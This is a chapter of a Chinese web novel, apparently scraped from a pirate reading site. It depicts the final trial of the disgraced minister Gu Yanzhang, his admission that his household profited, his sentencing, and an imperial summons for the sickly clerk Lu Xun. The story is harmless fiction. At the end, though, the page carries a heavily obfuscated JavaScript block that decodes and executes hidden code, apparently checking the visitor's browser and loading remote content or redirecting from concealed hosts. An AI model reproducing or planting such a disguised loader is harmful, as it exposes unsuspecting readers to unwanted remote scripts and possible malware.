第六十八章:终审落槌,顾延章这回真低头了
一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!
第六十八章:终审落槌,顾延章这回真低头了(第1/2页)
三司终审这日,京城起风。
风从刑部外街刮过,把告示墙上的纸吹得哗啦作响。
许多人一大早就到了。
茶摊老板干脆多支了两张桌。
卖炊饼的汉子也没往别处走,就守在刑部门口。
连平日里最怕官差的几个小贩,今日都壮着胆子站在街角。
大家都知道,今日要落结果。
苏承业清名已经回来了。
苏家旧产也开始追还。
顾府牌匾摘了。
锦成号封了。
银箱也抬出来了。
可顾延章到底怎么定,还没落槌。
这才是最后一口气。
有人低声道:
“顾延章会认吗?”
旁边人立刻摇头。
“那种人,死都不会认。”
“那三司怎么判?”
“证据都摆成这样了,还能怎么判?”
“他是内阁次辅。”
“现在不是了。”
这句话一出,周围人都安静了一下。
是啊。
以前他是顾大人。
现在告示上写的是——
顾延章。
连官称都少了。
这就是风向。
……
监察司总衙。
陆寻今日没有太早起来。
不是不想。
是起不来。
这几日连着撑下来,他的身体到底还是虚。
昨夜睡得不算差,可清晨醒来时,仍然觉得胸口发闷。
青竹一进屋,就发现他脸色不对。
她没有喊。
先转身去叫赵大夫。
赵大夫过来把脉,眉头立刻皱紧。
“今日不许逞强。”
陆寻靠在榻上,声音有些哑。
“今天是终审。”
赵大夫冷冷道:
“终审不是送终。”
陆寻:“……”
这话太直。
他一时竟不知怎么接。
青竹站在旁边,眼睛有些担心。
“要不今日不去了?”
陆寻看向她。
青竹低声道:
“反正证据都在,岳大人、裴大人、宋公子、苏姐姐都在。”
“你不去,也能审。”
陆寻笑了一下。
“青竹姑娘现在越来越会劝人了。”
青竹抿唇。
“我是认真的。”
陆寻点头。
“我知道。”
他停了一会儿,才轻声道:
“今日我不是去问案。”
“是去看落槌。”
青竹没说话。
陆寻看向窗外。
“这一路从江州到京城。”
“有人死了,有人逃了,有人被抓了。”
“苏姑娘等了这么久。”
“宋家也背了这么久。”
“顾延章坐得太高,坐得太久。”
“今日他低头,我想亲眼看见。”
青竹心里一酸。
她明白了。
陆寻不是非要去逞那一句嘴。
他只是想看见结果。
赵大夫沉着脸,半天没说话。
最后,他从药箱里取出一包药丸,拍在桌上。
“坐车。”
“进堂坐着。”
“半个时辰内,不许多说。”
陆寻立刻点头。
“好。”
赵大夫冷笑。
“你答应得越快,老夫越不信。”
陆寻叹气。
“人与人之间,还是要有一点信任。”
青竹认真道:
“你先把粥喝了。”
陆寻:“……”
信任没有。
粥倒是来了。
……
刑部三司堂。
今日堂上,没有多余的人。
案卷已经归拢成册。
苏承业旧案一册。
顾府前院送信一册。
锦成号外账一册。
苏家旧产追还一册。
韩墨七封无署名信一册。
所有东西摆在那里,厚厚一摞。
不像纸。
像山。
顾延章被带上堂时,堂内许多人都看向他。
他今日没穿官袍。
只穿了一身深色常服。
头发仍旧梳得整齐。
面色比前几日苍白了些,却依旧没有狼狈。
这个人连输到这一步,仍然懂得维持最后一层体面。
陆寻坐在椅上看着他。
心里忽然觉得有些好笑。
顾延章这一辈子,大概最在乎的就是体面。
可偏偏,他最后输在了最不体面的账上。
吞人产业。
压人密呈。
借佛经藏账。
让幕僚写无署名信。
让前院管事递腰牌。
这些事,没有一样体面。
**清坐在主位,脸色沉肃。
周元礼、许敬之在侧。
岳沉舟坐在旁边,手边放着终审拟文。
惊堂木落。
堂内安静。
**清开口:
“顾延章。”
“今日三司终审复核。”
“苏承业旧案、顾府干预吏部文牍、锦成号外账、苏家旧产侵吞、韩墨七封无署名信,皆已核验。”
“你可还有申辩?”
顾延章抬头。
声音仍然平稳。
“有。”
**清道:
“说。”
顾延章缓缓道:
“苏承业旧案,确有冤情。”
堂内微微一动。
所有人都没想到,他第一句竟然先认了这个。
苏云卿站在旁听处,手指微微收紧。
顾延章继续道:
“许崇压密呈,江州府回文不实,沈怀义侵吞旧产,锦成号收受苏家产业。”
“这些,三司已经查明。”
“顾某不再辩。”
**清皱眉。
顾延章停了一下,继续道:
“但顾某身居中枢,当年所虑,是江州盐务骤乱,牵动粮运民生。”
“密呈暂缓,原意并非害苏承业。”
“后续沈兰、韩墨、顾忠等人借顾府名义,私自牟利,顾某确有失察之罪。”
“顾某愿辞官,愿受罚。”
“但知情吞产、蓄意害命之罪,顾某不认。”
堂内又安静下来。
青竹听得眉头紧紧皱起。
还是这套。
认一点。
推一点。
把大罪变小罪。
把蓄意变失察。
把吞产变下人牟利。
把害人变成“原意不坏”。
顾延章说得很稳。
而且比前几日更聪明。
他不再全盘否认。
他开始承认苏承业冤。
承认许崇、沈怀义、沈兰、韩墨这些人有罪。
他把自己放在中间。
像一个被下人、幕僚、地方官蒙蔽的高官。
最多是判断失误。
最多是治家不严。
最多是权衡过度。
这就是他的保命法。
**清没有立刻说话。
周元礼看了案卷一眼。
许敬之则看向陆寻。
不是问他。
只是下意识看。
陆寻今日脸色很白。
赵大夫就坐在堂外,眼神像刀一样盯着他。
青竹站在他身后,也紧张地看着他。
陆寻原本不该多说。
可顾延章这番话一落,他知道自己必须开口。
因为这正是顾延章最后的遮布。
不撕开,终审就会留下尾巴。
陆寻轻轻抬手。
青竹立刻俯身。
“水?”
陆寻摇头。
“账册。”
青竹把苏家旧产追还册递给他。
陆寻接过,没翻太久。
他抬头看向顾延章。
“顾大人。”
顾延章眼神微冷。
这个称呼,陆寻今日还在用。
可听起来,已经不再像尊称。
更像提醒。
提醒他曾经是什么人。
陆寻道:
“你刚才说,你原意不是害苏承业。”
顾延章道:
“是。”
“那你原意是什么?”
“稳江州。”
“稳江州,为什么苏家旧产进了顾府外宅?”
顾延章眸光一沉。
陆寻没等他答。
“稳江州,为什么锦成号十年赚了九千七百两?”
“稳江州,为什么韩墨每次传信之后,都能拿赏银?”
“稳江州,为什么沈兰的莲账里,有白马寺、通源票号、苏家旧产?”
“稳江州,为什么江州盐价没有稳,顾府的银路却稳了?”
堂内一片安静。
这几句不绕。
也不讲大义。
就是拿结果打脸。
顾延章的“原意不坏”,在银子面前显得格外难看。
陆寻继续道:
“顾大人。”
“你说你是为了江州。”
“可江州百姓没得好处。”
“苏承业没得好处。”
“苏家没得好处。”
“盐户没得好处。”
“最后得好处的,是谁?”
他停了一下。
“顾府。”
青竹心头一跳。
这就是陆寻昨夜说的那句话。
谁受益最大。
陆寻看着顾延章,声音很轻,却像落在每个人耳边。
“所以今日不问你说得多好听。”
“只问谁受益最大。”
“谁受益最大,谁就最该解释。”
顾延章终于脸色难看了。
这句话,比任何骂声都难挡。
因为证据已经摆在那儿。
顾府受益最大。
不管顾延章怎么说权衡、说朝局、说失察,都绕不开这个结果。
**清看向案卷,沉声道:
“锦成号外账。”
书吏立刻呈上。
**清翻开。
“苏家旧产入锦成号后,十年账面收益九千七百两。”
“收益入顾府外宅。”
“顾府外宅银路,与白马寺、通源票号相连。”
“顾延章,你所谓沈兰等人私自牟利,证据不足。”
顾延章道:
“外宅由沈兰掌管。”
陆寻忽然笑了一声。
“顾大人。”
“你们顾府挺奇怪。”
“银子进来,是夫人掌管。”
“信送出去,是幕僚私为。”
“腰牌出门,是管事失察。”
“官员升迁,是许崇畏权。”
“旧产进账,你不知。”
“盐价上涨,你是为了江州。”
他看着顾延章。
“你这一生,真是清白得旁人都替你忙。”
堂内有人低头。
裴玄偏过脸,嘴角动了一下。
赵大夫在堂外看着陆寻。
本想皱眉。
可听见这句,也忍了一下。
顾延章冷声道:
“陆寻,你在三司堂上,只会讥讽?”
陆寻摇头。
“不是。”
“我还会算账。”
他把追还册放在案上。
“九千七百两账面收益。”
“苏家旧产五处。”
“许崇升迁两次。”
“沈怀义坐稳江州盐务。”
“顾府外宅三年扩铺四间。”
“韩墨赏银七次。”
“顾忠领赏三次。”
“这些都是案卷里有的。”
他抬头。
“顾大人,你说你没得利。”
“那就请你从案卷里找一个人,比顾府得利更多。”
堂内死寂。
顾延章没有立刻回答。
因为找不到。
许崇得了官。
沈怀义得了地方权。
沈兰得了银路。
韩墨、顾忠得了赏银。
可最大的好处,都汇入顾府。
顾府就是最大的受益者。
而顾延章,就是顾府之主。
**清看向顾延章。
“答。”
顾延章沉默。
这一次,他沉默得比任何一次都久。
久到堂外风声都清楚传进来。
苏云卿站在旁边,看着他。
她忽然觉得,这样的沉默比认罪还让人痛快。
因为顾延章终于答不上来了。
那个曾经坐在书房里,把所有人都推出去挡刀的人。
这一次,没人能替他答。
韩墨跪在旁边,低着头。
(本章未完,请点击下一页继续阅读)第六十八章:终审落槌,顾延章这回真低头了(第2/2页)
顾忠不敢出声。
许崇脸色灰败。
沈兰没有上堂。
那些能被他推出来的人,已经全都倒在案卷里。
剩下的,就是他自己。
陆寻没有催。
他只是等。
过了很久,顾延章终于开口。
“顾府受益。”
四个字。
很轻。
却让堂内所有人神色一震。
**清猛地坐直。
“顾延章,你再说一遍。”
顾延章抬头。
脸上的平静终于裂了一道缝。
“顾府受益。”
“但顾某并非为私利害人。”
陆寻忽然道:
“顾大人。”
“前半句就够了。”
顾延章看向他。
陆寻轻声道:
“后半句,留给你自己晚上睡不着的时候说。”
堂内一静。
顾延章脸色彻底沉下。
可他已经说出口了。
顾府受益。
这四个字一旦入卷,他前面所有“原意不坏”“朝局权衡”“失察”都变得苍白。
因为不管原意如何,结果就是顾府拿了最大好处。
**清沉声道:
“记下。”
书吏飞快落笔。
顾延章闭了闭眼。
他知道,自己终究还是被陆寻逼着低了头。
不是跪下。
不是痛哭。
也不是喊冤。
而是在证据面前,说出那句他最不愿说的话。
顾府受益。
这就是败。
……
接下来的终审,比众人想象中更快。
因为核心已经破了。
顾延章不再有新的说辞。
三司逐项复核。
许崇压密呈,罪实。
韩墨拟无署名信,罪实。
顾忠调腰牌递信,罪实。
沈兰藏莲账、掌内宅银路,罪实。
锦成号低价收苏家旧产并为顾府外宅牟利,罪实。
顾延章知情压案、纵容顾府外宅侵吞苏家旧产、干预吏部文牍、借江州安稳之名掩顾府银路,罪证相合。
**清拿起终审文书。
堂内所有人都安静下来。
连陆寻也慢慢坐直了一点。
青竹看见了,想扶他。
陆寻轻轻摇头。
他要自己听完。
**清沉声道:
“三司终审。”
“江州苏承业旧案,原判有误。”
“苏承业非诬告,清名已复。”
“苏家旧产,追还。”
“顾府外宅所得收益,继续追缴。”
“许崇革职下狱,候刑部定罪。”
“韩墨、顾忠、方瑞等人,依压案、传信、侵吞旧产从犯论罪。”
“沈兰掌内宅银路,藏莲账,涉侵吞旧产、灭口证人,另案重审。”
他停了一下。
看向顾延章。
“顾延章。”
“身居高位,知情压案。”
“纵容顾府外宅侵吞苏家旧产。”
“干预吏部文牍。”
“事后以失察自辩,难以采信。”
“拟夺官、抄没涉案外宅、下刑部大狱,待圣裁。”
惊堂木落下。
声音不算大。
却像一块石头砸进所有人心里。
落了。
终于落了。
苏云卿眼泪一下流了下来。
青竹也红了眼。
宋砚辞轻轻闭了闭眼。
裴玄握着刀柄的手慢慢松开。
岳沉舟看着案上的文书,神色终于缓和了些。
陆寻靠在椅背上,脸色很白。
可他眼底有光。
顾延章站在堂中。
这一刻,他终于没有再说话。
没有“朝局”。
没有“失察”。
没有“顾某不认”。
终审文书已经落下。
剩下的,就不是他能说动的了。
堂外,消息很快传开。
先是刑部门口一片死寂。
随后有人喊:
“落了!”
“三司终审落了!”
“顾延章拟夺官下狱!”
“苏家旧产追还!”
“顾府外宅抄没!”
人群一下炸开。
茶摊老板猛地拍了一下桌子。
“好!”
“该!”
“吞了人家的,吐出来!”
“害了人家的,进牢去!”
国子监那群士子站在人群后,也都神色震动。
许怀生看着刑部大门,忽然道:
“今日这案子,该写下来。”
同窗问:
“写什么?”
许怀生轻声道:
“写读书人不要只会听风。”
“也要敢问一句,谁受益最大。”
旁边几人都沉默下来。
这句话,已经不只是案子里的话。
也像是抽在他们脸上的一记戒尺。
……
顾延章被带下去时,经过陆寻身边。
他的脚步停了一下。
两人隔着几步距离对视。
顾延章已经没有了最初那种高高在上的从容。
但他仍旧没有狼狈求饶。
他只是看着陆寻。
“你赢了。”
陆寻摇头。
“我说过。”
“不是我赢。”
顾延章声音很低。
“那是谁赢?”
陆寻看向苏云卿。
看向案上的苏承业官籍副录。
看向那些厚厚的账册。
最后又看向顾延章。
“是账赢了。”
“是证据赢了。”
“是被你们压了十几年的那口气,终于喘上来了。”
顾延章沉默片刻。
忽然笑了一下。
“陆寻。”
“你这样的人,迟早会站到更高的地方。”
陆寻皱眉。
他不喜欢这句话。
顾延章继续道:
“等你站得高了,就会明白。”
“有些事,不是看一两本账就能断的。”
陆寻轻声道:
“那就等我站高了再说。”
“至少今天。”
“账断得了你。”
顾延章脸色一僵。
这句话,比任何反驳都狠。
裴玄没忍住,低头咳了一声。
岳沉舟嘴角也动了动。
顾延章终于不再说话。
他被监察司校尉带出三司堂。
堂外风很大。
吹得他的衣袖猎猎作响。
从前他坐着车进出衙门。
今日,他被人带着走下台阶。
百姓们远远看着。
没人敢冲上来。
也没人乱骂。
可那无数道目光,比骂声还重。
顾延章第一次清楚地感觉到,自己身上的体面,被那些目光一层层剥了下来。
直到只剩一个名字。
顾延章。
……
三司堂内。
终审结束后,苏云卿终于撑不住,坐了下来。
青竹赶紧扶住她。
“苏姐姐。”
苏云卿摇摇头。
“我没事。”
她只是太累了。
这一路撑到现在,终于看见顾延章被终审拟罪。
她心里那口气松下去,人也像被抽空了一瞬。
陆寻也差不多。
赵大夫已经进来了。
“走。”
陆寻很听话。
“好。”
这次,他没有多说一个字。
青竹和宋砚辞都看了他一眼。
连裴玄都有些意外。
陆寻发现他们的眼神,叹气。
“你们这是什么表情?”
青竹小声道:
“你今天这么听话,我有点不习惯。”
陆寻无奈。
“我也会累。”
这句话一出,几人都安静了一下。
是啊。
他也会累。
他不是一直能坐在那里笑着怼人。
也不是永远有话可说。
从江州到京城,从锦成号到三司终审,他撑了太久。
赵大夫脸色不善。
“知道累就闭嘴。”
陆寻点头。
“好。”
青竹立刻扶着他往外走。
出了刑部,风吹过来。
陆寻抬头看了一眼天。
云散了些。
虽然还没出太阳,但天色比早上亮了。
他忽然笑了笑。
青竹问:
“笑什么?”
陆寻道:
“今天的风不错。”
青竹看了看天。
“哪里不错?”
陆寻想了想。
“吹得顾府牌匾落地时,应该挺响。”
青竹一怔。
随即笑出了声。
“牌匾昨天就摘了。”
陆寻点头。
“那我补听一下。”
青竹笑得眼睛都弯了。
赵大夫在后面冷声道:
“回去。”
陆寻立刻收笑。
“好。”
……
当晚。
三司终审文书入宫。
京城各处仍然议论不休。
顾府外宅被抄没的消息,又传了一轮。
锦成号门口封条未揭。
苏家旧产追还单,被不少人抄了副本。
茶楼说书先生已经开始琢磨怎么讲这一段。
标题都想好了。
病书生坐椅审次辅。
旁边小徒弟觉得不够响。
“师父,要不要叫《一把椅子压倒顾府》?”
说书先生一拍桌。
“好!”
“这个好!”
于是第二日还没到,京城已经有人开始传:
陆寻那把紫檀椅,是监察司镇邪之物。
谁坐谁赢。
传到监察司总衙时,陆寻正在喝药。
青竹忍着笑把这话说完。
陆寻差点把药喷出来。
“镇邪之物?”
青竹点头,肩膀直抖。
“他们还说,要给椅子上香。”
陆寻看向岳沉舟。
“岳大人,要不您把椅子收好?”
岳沉舟冷笑。
“晚了。”
“为什么?”
“那椅子已经有人来问价了。”
陆寻:“……”
宋砚辞笑得折扇都快拿不稳。
裴玄站在门边,嘴角也压不住。
赵大夫面无表情。
“药。”
陆寻低头看碗。
“赵大夫,这么好笑的时候,能不能缓缓?”
赵大夫道:
“不能。”
青竹立刻把蜜饯盒子拿过来。
刚拿到一半,她又想起不能老用这个梗,便默默放下。
陆寻看见了。
“怎么又放下了?”
青竹一本正经。
“不能老惯着你。”
陆寻看着那盒离自己远去的蜜饯,沉默很久。
院子里又笑成一片。
笑声里,裴玄从外面进来。
他手里拿着一份宫中口谕。
院子里的笑声慢慢停下。
裴玄看向陆寻。
“宫里来话了。”
陆寻抬头。
“圣裁?”
裴玄摇头。
“终审文书留中。”
“但还有一道口谕。”
岳沉舟眼神微动。
“说。”
裴玄看着陆寻,神色有些古怪。
“陛下听闻江州案中,有一位临时书吏。”
“坐椅入堂。”
“问倒次辅。”
“还让三司告示写得人人看懂。”
陆寻心里忽然有种不太好的预感。
裴玄继续道:
“陛下说,想见见。”
院子里瞬间安静。
青竹眼睛睁大。
宋砚辞折扇停住。
苏云卿也抬起头。
陆寻看着裴玄,沉默片刻。
“能不见吗?”
岳沉舟冷笑。
“你说呢?”
陆寻叹了口气。
“顾延章才下去。”
“我这又要进宫?”
赵大夫脸色彻底黑了。
“先喝药。”
陆寻低头看着药碗。
又看了看宫中口谕。
忽然觉得。
顾延章这案子是收了。
可他的麻烦,好像才刚开始。
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();